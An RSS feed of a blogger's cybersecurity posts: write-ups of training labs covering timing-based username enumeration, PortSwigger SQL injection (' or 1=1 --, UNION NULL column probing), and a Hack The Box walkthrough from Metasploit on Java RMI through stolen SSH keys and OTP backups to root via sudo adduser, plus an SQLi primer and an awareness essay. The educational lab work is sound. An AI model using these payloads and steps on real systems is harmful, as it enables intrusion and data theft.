<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Genius on Medium]]></title>
        <description><![CDATA[Stories by Genius on Medium]]></description>
        <link>https://medium.com/@emmaumelo180?source=rss-628cd673739e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Genius on Medium</title>
            <link>https://medium.com/@emmaumelo180?source=rss-628cd673739e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 12:02:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@emmaumelo180/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hunter — Hacksmarter Lab]]></title>
            <link>https://medium.com/@emmaumelo180/hunter-hacksmarter-lab-12fd164a596a?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/12fd164a596a</guid>
            <category><![CDATA[hunter]]></category>
            <category><![CDATA[password-reset]]></category>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Sat, 20 Jun 2026 16:58:08 GMT</pubDate>
            <atom:updated>2026-06-20T16:58:08.194Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*msIHMvsMuw0SyVEvfvASkQ.png" /></figure><p><strong>Lab Overview</strong></p><p>Objective: Find a valid username on the target system<br> <strong>Scope</strong></p><pre>Target IP: 10.1.165.91</pre><p>Vulnerability: Username Enumeration via Timing Attack</p><p><strong>Objective / Scope</strong></p><p>You are an operator for the Hack Smarter Red Team, currently conducting a black-box assessment on a client’s external login portal. As part of the initial reconnaissance phase, our OSINT analysts have compiled a list of potential usernames.</p><p>You need to identify which one is a valid username for the web application.</p><p><strong>Step 1: Reconnaissance</strong><br> So first of all i carried out an Nmap scan to see which open ports and services are available.</p><pre>nmap -A 10.1.201.103</pre><pre>┌──(kali㉿kali)-[~/Downloads]<br>└─$ nmap -A 10.1.201.103                                                    <br>Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-20 11:42 EDT<br>Nmap scan report for 10.1.201.103<br>Host is up (0.28s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 e4:a0:0e:6a:8f:49:b9:8b:cf:23:9e:4e:a4:dd:b2:34 (ECDSA)<br>|_  256 fe:f7:c2:a8:ca:de:2d:d3:ce:27:49:01:ea:b8:fa:f4 (ED25519)<br>80/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.10.12)<br>|_http-title: HackSmarter Portal - Login<br>|_http-server-header: Werkzeug/3.1.4 Python/3.10.12<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:</pre><p><strong>Results:</strong></p><ul><li>Port 22 (SSH) — Open but password authentication disabled</li><li>Port 80 (HTTP) — Running Werkzeug (A python flask)</li></ul><p><strong>Step 2: Web Application Discovery</strong><br> Navigating to port 80 on the url, we found a login page</p><pre>http://10.1.201.103/login</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*ssl0RL3NbuYj2DCoKz74dw.png" /></figure><p><strong>Step 3: Enumeration/Identifying the Vulnerability</strong></p><p>During inspection of the web application, I was able to discover a password reset page at /reset:</p><pre>http://10.1.201.103/reset</pre><p>I found out that there’s a vulnerability on the reset page for forgot password, therefore i moved to escalate it further to prove it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*gt5SzcM6XywVyKRBaMMtvg.png" /></figure><p><strong>Key Finding:</strong> The reset page only requires a username, making it ideal for username enumeration. So i inputted a dummy or invalid username (felix) to the reset form and it gave me a generic response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/1*wMd3j2a2c3cIIhFnOOyxvQ.png" /></figure><p><strong>Findings/Vuln Details</strong></p><p>Type: Username Enumeration via Timing-Based Side Channel</p><p><strong>How it works:</strong></p><ul><li>When a valid username is submitted, the server performs additional processing (database lookup, password hash retrieval, etc.)</li><li>This extra processing creates a measurable timing difference</li><li>Invalid usernames are rejected faster as they don’t trigger these operations</li></ul><p><strong>Step 4: Given Username List</strong></p><p>The challenge lab has already given us a username file with all the potential usernames that we can test and enumerate with on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*zOEv4TzCliUkSQk9KUKltw.png" /></figure><p><strong>Step 5: Username Enumeration/Spraying via Caido</strong></p><p>Then i decided to go advance by using Caido the alternative to Burpsuite, i intercepted the reset password traffic and sent it to “Automate” (similar to Burp intruder)..</p><p><strong>Work Behind the Scene:</strong></p><ul><li>Remember i used a dummy/invalid username to test the forgot password page (felix)</li><li>Then i highlighted the name “felix” on my Caido and set it as the value/parameter to enumerate/spray</li><li>I added the provided username.txt as my set payload for the enumeration.</li><li>Then run the automation…</li><li>It sprays all the names in the username.txt wordlists to get a valid user</li><li>The automtion collects timing data, response size, and displays it for each username tested</li><li>At the end, it sorts all results by response time and shows the lower and higher responses</li><li>The username with the significantly longest response time is likely the valid one (the timing difference reveals which usernames exist in the system)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KXFq_abjoIxA8h8vIzUFMQ.png" /></figure><p>After clicking the run button, the automation does it job by enumerating each user one after the other, and the one with the slowest/delayed response time is the valid user in the system…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqMFySSi_R2H9b4kjlKzHw.png" /></figure><p><strong>Result:</strong><br> Now we can see that our result or valid username is ‘joey’ with the response time of 1501 ms</p><p><strong>Step 6: Verify Result</strong><br> Verify the discovered username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*IpFaYJ0Qfoem9-z2fIg1Tg.png" /></figure><p>Violllaaa!!!!! Our answer is correct… Thanks for staying with me..</p><p>And i appreciate Tyler for creating this awesome lab…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12fd164a596a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQLi — Lab 3]]></title>
            <link>https://medium.com/@emmaumelo180/sqli-lab-3-6247cd08de33?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6247cd08de33</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Wed, 21 Jan 2026 11:15:55 GMT</pubDate>
            <atom:updated>2026-01-21T11:15:55.743Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQLi — Lab 3</h3><h3>Lab: SQL injection UNION attack, determining the number of columns returned by the query</h3><blockquote>SQLi = Product category filter<br><strong>Goal</strong> == determine the number of columns returned by the query</blockquote><p><strong>How to go about it:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*7esru8XcKV49rth6yex_Ng.png" /></figure><blockquote><strong>Query #1 :</strong> select a, b from Table1<br>1, 2<br>3, 4</blockquote><blockquote><strong>Query #2 :</strong> select a, b from Table1 UNION select c, d from Table2 <br>1, 2<br>3, 4<br>2, 3<br>4, 5</blockquote><p><strong>RULES:</strong><br>- The number of the order of the columns must be the same in all queries<br>- The data types must be compatible</p><p><strong>SQLi attack (Way #1):</strong></p><p>select ? from Table1 UNION select NULL- -<br>-error -&gt; incorrect number of columns</p><p>select ? from Table1 UNION select NULL, NULL, NULL- -<br>-200 response code -&gt; correct number of columns</p><p><strong>SQLi attack (Way #2):</strong> By using ORDER BY</p><p>select a, b from Table1 order by 3</p><p>keep trying the order by until you get the correct number of columns..</p><p><strong>EXPLOITATION</strong><br>Now we have understood how SQLi UNION attacks works, so let’s give it a try…</p><p>Since we know the Product category filter is vulnerable to SQLi, i decide to choose the “Gift” category to exploit…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvk53x6JE1YRyQg3GNzRXQ.png" /><figcaption>Product category filter</figcaption></figure><p>Traffic has been intercepted by Burp already so, i can execute my attacks from there..<br>So using the SQLi UNION attack payload strings as seen in the image below, i got an error (500 — internal server error). Which means the table does not contain one column.</p><p>I will keep trying and adding more Null values till i get the correct number of table….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*bbbHva2wfgQukngJX3cRcw.png" /><figcaption>Burpsuite</figcaption></figure><p>After trying it for the second time, i still got same error. Now i’m going to add one more NULL values, as i keep trying my chances to get the correct total number of column in the table….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*hE4YZ4dnLQLobhnm8S6YSQ.png" /></figure><p>Viollaaaa…. So that means the total number of column is 3, from the image above we have 3 NULL values there which signifies the 3 column…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uuvIktEx_BpvAhUxQY2cA.png" /></figure><p><strong>STEP 2:</strong><br>The other way to solve this lab is by use the “ORDER BY” SQLi string/character… This can be done via Burpsuite or in the URL parameter in the browser…</p><blockquote>Payload = ‘ ORDER BY 1- -</blockquote><p>if it keeps generating errors, then you keep trying be increasing the value (such as ‘ ORDER BY 1- -, or ‘ ORDER BY 2- -)…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6247cd08de33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQLi — LAB 1]]></title>
            <link>https://medium.com/@emmaumelo180/sqli-lab-1-4bffb32c47ed?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bffb32c47ed</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Tue, 20 Jan 2026 07:13:14 GMT</pubDate>
            <atom:updated>2026-01-20T07:16:11.723Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQLi — LAB 1</h3><p><strong>Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/0*upUGABCUYjPXrhn0" /></figure><p><strong>Goal == To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.</strong></p><blockquote><strong>Example Exploit — </strong>SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1</blockquote><p>So first of all, we are given a task and an end goal already so we just need to navigate through the application, see how it works, and map it out..<br>This is the web app we are to exploit or test for SQLi, we can see the Gift section where we are to test for SQLi to display all product item in the database..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HV53ew2xHAuhORybHZepPw.png" /><figcaption>Portswigger SQLi</figcaption></figure><p>Clicking on the gift section, i navigated to the category in the URL and try adding some SQLi code in it. First of all, I used the inject (‘) to generate some error message and see if it’s susceptible to SQLi..</p><p>Now let add the character to generate the error message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YT6LLxNEptSeLFXyUfEwg.png" /><figcaption>Burpsuite</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xp0TDRba_ll_emymo2Tpsg.png" /></figure><p>500 status code = Internal Server Error, this is the error message we are looking for. Seeing this shows that this application is susceptible to SQLi</p><pre>Let’s proceed to the next step to see if we can display all the products. we will try using (‘ — — )</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Gk9SRUbNtrlcFjndcHkxA.png" /></figure><p>This exploit was successful but as we can see, there’s no product displayed. So let’s keep testing till we can display all product items in the database…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8G62RXcq0nVlNDA3JVyJg.png" /></figure><p>Moving on, i have to increase the SQLi payload in a way that will trick/make the server or database display all the products.</p><p>Finally we have something, using the payload (‘ or 1=1 — — )..<br>In SQLi this payload 1=1 is TRUE, because in a normal term 1=1 is always true it’s still the same value. So the server runs this and since 1=1 is TRUE, it has no choice than to display all product items for us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlXFKErLOhCf_juwzSIvRA.png" /></figure><p>With the status code of 200, showing up it’s a successful exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpVRlwRdmPkKtzqOL7V1VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i2WfcZtJKv_6aIgizcR80g.png" /></figure><p>Before we could only see 3 Gift product items in this category, now we can see all the products listed in the Gift category via successful exploitation…</p><p><strong>HOW DO YOU PREVENT SQLi VULNERABILITIES?</strong><br>1. Use of Prepared statement (Parameterized queries)<br>2. Use of stored procedures<br>3. Whitelist input validation <br>4. Escaping all user supplied input<br>5. Enforcing Least Privileges</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bffb32c47ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Injection EXplanation - (Web Security Academy)]]></title>
            <link>https://medium.com/@emmaumelo180/sql-injection-explanation-web-security-academy-2fd1b7bd558c?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fd1b7bd558c</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Tue, 20 Jan 2026 06:07:36 GMT</pubDate>
            <atom:updated>2026-01-20T06:07:36.483Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*X2gW3KqEHsrJiiNXspXc4w.png" /><figcaption>SQL injection</figcaption></figure><p><strong>WHAT IS SQLi</strong></p><p>It’s a vulnerability that consists of an attacker interfering with the SQL queries that an application makes to a database. It simply means injecting or writing malicious codes into a web server database to extract sensitive info…</p><p>Payloads like (admin’ — ), can be very harmful, whereby an attacker input the code and bypass the login function then enabling him to login as an “admin”…</p><p><strong>IMPACT OF SQLi</strong></p><ol><li>Unauthorized access to sensitive data<br> — Confidentiality<br> — Integrity<br> — Availability</li><li>Remote code execution on the operating system..</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*CVjoehCuUdtkF7q2vYWUlw.png" /><figcaption>Impact of SQLi</figcaption></figure><p><strong>OWASP TOP 10</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*EWmnEBMMFdDqyUonpG4iJw.png" /><figcaption>OWASP TOP 10</figcaption></figure><p><strong>TYPES OF SQLi</strong></p><ol><li>In-Band (Classic) == Error, and Union</li><li>Inferential (Blind) == Boolean, and Time</li><li>Out of Band</li></ol><p><strong>Explanation</strong></p><ol><li>In-Band SQLi</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*U3URwn1B3p0hiTo_95uIHA.png" /><figcaption>In-band SQLi</figcaption></figure><p>Now Let’s talk about Error and Union-based SQLi</p><p>i. In Error based SQL the attacker forces that database to generate an error, giving the attacker information upon which to refine their injection..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*eT9ttCK38-4vf-3y9zPFGg.png" /></figure><p>ii. While in Union base SQLi, the attacker leverages the UNION SQL operator to combine the result of two queries into a single set..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*fm-1m0127pBvxbseVgQFSw.png" /></figure><p>2. <strong>Inferential (Blind) SQLi</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*ub397keM6bi-ufpmFiIFwg.png" /><figcaption>Blind SQLi</figcaption></figure><p>In Blind SQLi, we also have 2 types; Boolean and Time</p><p>i. <strong>Boolean based SQLi</strong> is a blind SQLi technique that uses Boolean conditions to return a different result depending on whether the query returns a TRUE or FALSE…</p><p>When the result is FALSE, there will be no output displayed but when it is TRUE there’ll be an output of result…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*Wh7fRndz3fzr_4SQDwNDlQ.png" /><figcaption>Boolean SQLi</figcaption></figure><p>ii. <strong>Time based Blind SQLi</strong> is a technique that relies on the database pausing for a specified amount of time, then returning the result, indicating a successful SQL query execution…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*bE3XFMO0Sx5Y9aUaTVgo3Q.png" /><figcaption>Time-based SQLi</figcaption></figure><p>3. <strong>Out- of-Band (OAST) SQLi</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*LBJP6gQZWMYse0grVrYh5A.png" /><figcaption>Out-of-band SQLi</figcaption></figure><p><strong>HOW DO YOU FIND SQLi</strong></p><ol><li>Black Box Testing == No idea of what to test, no IP given or URL, no source code. just pure unknown testing….</li><li>White Box Testing == Opposite, IP, source code, and some info are given to you…</li></ol><p><strong>METHODOLOGY</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*N2F_epR2EdBkXo-c5Lc7Vw.png" /><figcaption>Black-box Testing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*EzgvWowRJ01Rz0sQmtIRHw.png" /><figcaption>White-box Testing</figcaption></figure><p><strong>Automated Exploitation Tools</strong></p><ol><li>sqlmap</li><li>Burpsuite</li><li>arachni</li><li>acunetix</li><li>w3af</li><li>wapiti</li><li>Owasp zap</li></ol><p><strong>HOW DO YOU PREVENT SQLi VULNERABILITIES?</strong></p><ol><li>Use of Prepared statement (Parameterized queries)</li><li>Use of stored procedures</li><li>Whitelist input validation</li><li>Escaping all user supplied input</li><li>Enforcing Least Privileges</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fd1b7bd558c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybersecurity Is Not Just for Tech People — Here’s Why]]></title>
            <link>https://medium.com/@emmaumelo180/cybersecurity-is-not-just-for-tech-people-heres-why-45841e84fa39?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/45841e84fa39</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Thu, 18 Dec 2025 17:44:16 GMT</pubDate>
            <atom:updated>2025-12-18T17:44:16.220Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Introduction</strong></blockquote><p>When people hear the word cybersecurity, they often think it’s only for hackers, programmers, or people who work in IT.<br>Something technical. Complicated. Not their problem.</p><blockquote><strong>But the truth is simple:</strong></blockquote><p>If you use a phone, an email address, social media, or the internet — cybersecurity already concerns you.</p><p>You don’t need to write code or understand complex systems to be affected by cyber threats. In fact, most cyber attacks today succeed because of human behavior, not technical flaws.</p><blockquote><strong>Cybersecurity Is About People, Not Just Computers</strong></blockquote><p>At its core, cybersecurity is about protecting information; personal, financial, and private data.</p><blockquote><strong>That includes:</strong></blockquote><ol><li>Your emails</li></ol><p>2. Your social media accounts</p><p>3. Your bank and payment details</p><p>4. Your photos and documents</p><p>5. Your identity</p><p>Attackers are not always breaking into systems with advanced tools.<br>More often, they are tricking people.</p><ul><li>A fake message</li><li>A convincing email</li><li>A malicious link.</li></ul><p>And once a person clicks, the damage begins.</p><p><strong><em>“Why Would Anyone Target Me? — The questions we normally ask ourselves…</em></strong></p><p>We think we’re not special or someone of importance like the politicians, Tech gurus, influencers and celebrities…</p><p>One of the biggest misconceptions is:</p><p>“I’m not important enough to be hacked.”</p><p>Cybercriminals don’t care who you are.<br>They care about access.</p><p>Your account might be used to:</p><ul><li>Send scams to others</li><li>Steal money</li><li>Spread malware</li><li>Impersonate you</li><li>Sell your data</li></ul><p>In many cases, attacks are automated, not personal.<br>Hackers cast a wide net, and anyone can get caught in it.</p><h3><strong>What “Getting Hacked” Really Looks Like</strong></h3><p>Getting hacked doesn’t always mean someone typing furiously on a keyboard.</p><p><strong><em>It often looks like:</em></strong></p><ul><li>Your social media account posting things you didn’t post</li><li>Your email sending spam messages</li><li>Your bank account being drained slowly</li><li>Your phone behaving strangely</li><li>Your accounts being locked one after another<br>Most victims don’t even realize what happened until it’s too late.</li></ul><p>Cybersecurity in Everyday Life</p><h3>Cybersecurity shows up in daily activities like:</h3><ul><li>Logging into your email</li><li>Using public Wi-Fi</li><li>Downloading apps</li><li>Clicking links</li><li>Reusing passwords</li></ul><p>Every small action adds up.</p><p><strong><em>A weak password reused across platforms means:</em></strong></p><p>One breach can lead to many compromises.</p><p>You Don’t Need to Be Technical to Be Secure</p><p>You don’t need advanced knowledge to improve your online safety.</p><p>Basic awareness goes a long way:</p><p>Knowing how phishing works</p><p>Understanding why passwords matter</p><p>Being cautious with links and attachments</p><p>Using two-factor authentication</p><p>Cybersecurity is not about fear — it’s about awareness and habits.</p><p>Why Cybersecurity Awareness Matters More Than Ever</p><p><strong><em>As more of our lives move online:</em></strong></p><ul><li>Banking</li><li>Work</li><li>Healthcare</li><li>Communication</li></ul><p>The risks increase.</p><p>Cybersecurity is no longer just an IT issue — it’s a life skill.</p><p>Understanding the basics helps you:</p><p>Protect yourself</p><p>Protect others</p><p>Make better online decisions</p><h3>Final Thoughts</h3><p>Cybersecurity is not a niche topic meant only for professionals.</p><p>It’s something everyone should understand, even at a basic level.</p><p>The goal isn’t to turn everyone into a hacker….<br>It’s to help people stay informed, cautious, and protected in a digital world.</p><p>And that starts with awareness.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45841e84fa39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Manage]]></title>
            <link>https://medium.com/@emmaumelo180/manage-373ebcefa9f3?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/373ebcefa9f3</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Thu, 23 Oct 2025 13:51:25 GMT</pubDate>
            <atom:updated>2025-10-23T13:51:25.018Z</atom:updated>
            <content:encoded><![CDATA[<p>Manage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*Q8cGBWEvOhIxTB5wKRj3aw.png" /><figcaption>Manage Easy Linux box</figcaption></figure><p>First of all we start with our Recon</p><p><strong><em>Nmap</em></strong></p><pre>nmap -A 10.129.78.164</pre><pre>Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 11:39 EDT<br>Nmap scan report for 10.129.78.164<br>Host is up (0.33s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT     STATE SERVICE  VERSION<br>22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)<br>|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)<br>2222/tcp open  java-rmi Java RMI<br>| rmi-dumpregistry: <br>|   jmxrmi<br>|     javax.management.remote.rmi.RMIServerImpl_Stub<br>|     @127.0.1.1:33293<br>|     extends<br>|       java.rmi.server.RemoteStub<br>|       extends<br>|_        java.rmi.server.RemoteObject<br>|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)<br>8080/tcp open  http     Apache Tomcat 10.1.19<br>|_http-title: Apache Tomcat/10.1.19<br>|_http-favicon: Apache Tomcat<br>Device type: general purpose<br>Running: Linux 5.X<br>OS CPE: cpe:/o:linux:linux_kernel:5<br>OS details: Linux 5.0 - 5.14<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 80/tcp)<br>HOP RTT       ADDRESS<br>1   405.82 ms 10.10.16.1<br>2   201.96 ms 10.129.78.164</pre><p>Found 3 ports open, 22, 2222, and 8080..</p><p>Something piqued my interest, which is port 2222, <em>java-rmi</em>. which i have encounter before or know what it is. So i had to do my research to know wht it is…</p><blockquote>Java Remote Method Invocation (RMI) is a powerful mechanism that allows an object residing in one Java Virtual Machine (JVM) to invoke methods on an object residing in another JVM. This capability is fundamental to building distributed applications in Java. This article will cover the fundamentals of Java RMI, its functional principles, basic concepts, and will provide a simple example of a client-server project using Java RMI.</blockquote><p>Now i know what it is and what it does…. So proceeding to the next step. However, tomcat is running on port 8080…</p><p><strong><em>Exploitation</em></strong></p><p>So i try searching for java-rmi on metasploit</p><pre>search java-jmx-server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*1SICb8_hUeSZr3aCO5dEJQ.png" /><figcaption>Metasploit</figcaption></figure><p>After setting everything right then you run it, we’ll get a meterpreter shell.</p><pre>meterpreter &gt; shell<br>Process 1 created.<br>Channel 1 created.</pre><p>The user flag is loctaed at</p><pre>/opt/tomcat</pre><p>we found the user flag now let’s enumerate further and escalate privileges</p><p><strong><em>Privilege Escalation</em></strong></p><p><strong>Backup File</strong><br>We found a backup file in the useradmin directory labeled backups that we had read access to so lets check this out.</p><pre>cd /home/useradmin/backups<br>download backup.tar.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*8Gi0TM0cwbueE0srbEfU6Q.png" /><figcaption>backup file</figcaption></figure><p>Now we are going to download it into our attacker machine and extract it to read the file..</p><pre>tar -xvzf backup.tar.gz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*AjsMbhJzAicztz2a0hJZsg.png" /><figcaption>extracting the backup file</figcaption></figure><ol><li>This is the backup of the useradmin folder</li><li>we can see that ssh key we needed is here and the google 2FA authenticator.</li></ol><p>Now let’s SSH into the useradmin file</p><pre>ssh useradmin@10.129.79.125</pre><ol><li>We see were are able to ssh now that we extracted the ssh key but we need the authenticator code</li><li>Lets open the google authenticator file</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*_I1OodDv9YyQPjwEWJPG2w.png" /><figcaption>google authenticator</figcaption></figure><p>There are so many backup of the OTP codes, let’s try to use one, the first one.</p><pre>ssh useradmin@10.129.79.125 -i .ssh/id_ed25519    <br><br>(useradmin@10.129.79.125) Verification code: <br>Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-142-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br> System information as of Thu Oct 23 12:30:31 PM UTC 2025<br><br>  System load:           0.0<br>  Usage of /:            73.8% of 4.34GB<br>  Memory usage:          21%<br>  Swap usage:            0%<br>  Processes:             222<br>  Users logged in:       0<br>  IPv4 address for eth0: 10.129.79.125<br>  IPv6 address for eth0: dead:beef::250:56ff:fe94:e97f<br><br> * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s<br>   just raised the bar for easy, resilient and secure K8s cluster deployment.<br><br>   https://ubuntu.com/engage/secure-kubernetes-at-the-edge<br><br>Expanded Security Maintenance for Applications is not enabled.<br><br>0 updates can be applied immediately.<br><br>Enable ESM Apps to receive additional future security updates.<br>See https://ubuntu.com/esm or run: sudo pro status<br><br><br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br><br>useradmin@manage:~$ ls<br>backups</pre><p>Now we are inside the useradmin ssh.</p><p>Escalating further</p><p><strong>Sudo Permissions</strong></p><pre>sudo -l</pre><pre>useradmin@manage:~$ sudo -l<br>Matching Defaults entries for useradmin on manage:<br>    env_reset, timestamp_timeout=1440, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,<br>    use_pty<br><br>User useradmin may run the following commands on manage:<br>    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$</pre><p>We can see that we only have sudo permission to add user, we’ll try adding a user now, let’s see the privelges we can get by adding a user…</p><pre>sudo adduser admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*WLxlFPiOh6zFSXp_7-bOkQ.png" /><figcaption>adduser</figcaption></figure><p>We can notice something form here</p><ol><li>it created the admin user</li><li>it automatically added the admin user to an admin group</li><li>And it gave it an admin privilege by default</li></ol><p>This is done because of the older version of ubuntu the machine is running on and it a very critical vulnerability….</p><p>Proceeding further</p><p><strong>Gaining root flag</strong></p><pre>su admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*ArHrD3XaexvSywSLCnOA7g.png" /><figcaption>root user</figcaption></figure><pre>root@manage:/# id <br>uid=0(root) gid=0(root) groups=0(root)</pre><pre>cd root</pre><pre>cat root.txt</pre><p>Then we have the final root flag…</p><p>This was a pretty machine to hack, it’s fun along the way and i was able to learn new things like Java-rmi, tomcat and exploiting it. this box sure helped me grow my skills….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=373ebcefa9f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC 1 Hacking — Vulnhub Pentesting]]></title>
            <link>https://medium.com/@emmaumelo180/dc-1-hacking-vulnhub-pentesting-344c3887fb5e?source=rss-628cd673739e------2</link>
            <guid isPermaLink="false">https://medium.com/p/344c3887fb5e</guid>
            <dc:creator><![CDATA[Genius]]></dc:creator>
            <pubDate>Thu, 31 Jul 2025 22:38:01 GMT</pubDate>
            <atom:updated>2025-07-31T22:38:01.989Z</atom:updated>
